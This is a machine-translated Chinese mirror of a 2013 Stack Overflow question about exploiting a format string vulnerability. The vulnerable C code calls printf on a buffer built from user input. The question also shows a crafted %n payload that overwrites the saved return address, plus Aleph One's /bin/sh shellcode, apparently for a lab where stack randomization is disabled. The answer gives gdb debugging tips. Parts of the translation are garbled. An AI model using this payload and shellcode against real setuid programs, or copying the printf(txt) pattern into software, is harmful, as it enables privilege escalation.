首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >格式字符串漏洞利用-打开根shell

格式字符串漏洞利用-打开根shell
EN

Stack Overflow用户
提问于 2013-10-04 03:37:10
回答 1查看 3.3K关注 0票数 1

我在一个禁用堆栈随机化的环境中运行这个程序,并使用与AlephOne的缓冲区溢出兼容的gcc版本--这很好用!

我正在尝试用包含外壳代码的数组的地址覆盖指令指针寄存器(eip)。不过,我总是以分段错误告终。以下是我正在尝试利用的一段代码:

代码语言:javascript
复制
//Prints version
static
void print_version(char* cmd) 
{
    char txt[640+1];
    snprintf(txt, 640, "Submission program version 0.1 (%s)\n", cmd);
    printf(txt);
}

我通过execve()调用这个函数。这里的格式字符串是argv,它被成功地传递给上面的函数。

我有这样的格式字符串:

代码语言:javascript
复制
\x0c\xdc\xbf\xffjunk\x0d\xdc\xbf\xffjunk\x0e\xdc\xbf\xffjunk\x0f\xdc\xbf\xff%8x%8x%120x%n%5x%n%230x%n%64x%n

然后是200 NOPs,外壳代码和剩余的数组以及NOPs。

外壳代码是Aleph One的代码:

代码语言:javascript
复制
static char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b“"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”"\x80\xe8\xdc\xff\xff\xff/bin/sh";

返回到格式字符串,我将覆盖4个地址0xffbfdc0c到0xffbfdc0f。0xffbfdc0c是通过在顶部提到的print_version()函数上设置断点找到的已保存的弹性公网is地址。

我尝试将其替换为地址0xffbfdcd4,它比print_version中txt[]数组的基地址高出150个字节(计算函数和格式字符串中txt[]的起始字符,希望它会落在外壳代码之前的某个NOP中)。

我只是以SEG故障而告终。我不确定如何继续,或者我应该如何调试,以查看它是否真的覆盖了预期地址的值。

编辑:我是否使用了正确的格式字符串?

谁也能告诉我如何使用gdb检查地址,在我的程序产生段错误之后,或者就在seg错误之前,但在地址更改之后?

谢谢。

EN

回答 1

Stack Overflow用户

发布于 2013-10-04 08:34:07

一些事情..。您声明您的格式字符串是argv。你确定你不是指argv1吗?argv通常是为程序名保留的,argv1是程序的第一个参数。

您可以检查右侧之后的地址,方法是在右侧发生之前和之后立即设置断点,然后使用x/x 0xffbfdc0c查看是否写入了正确的位置。GDB手册(在线提供)可能对您也有帮助。

关于格式化字符串的巧妙之处在于,你不会局限于你可以写的地方,所以任何东西都是免费的游戏(提示提示)。您可能还希望确保在编译程序时没有设置-D_FORITY_SOURCE。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/19167776

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档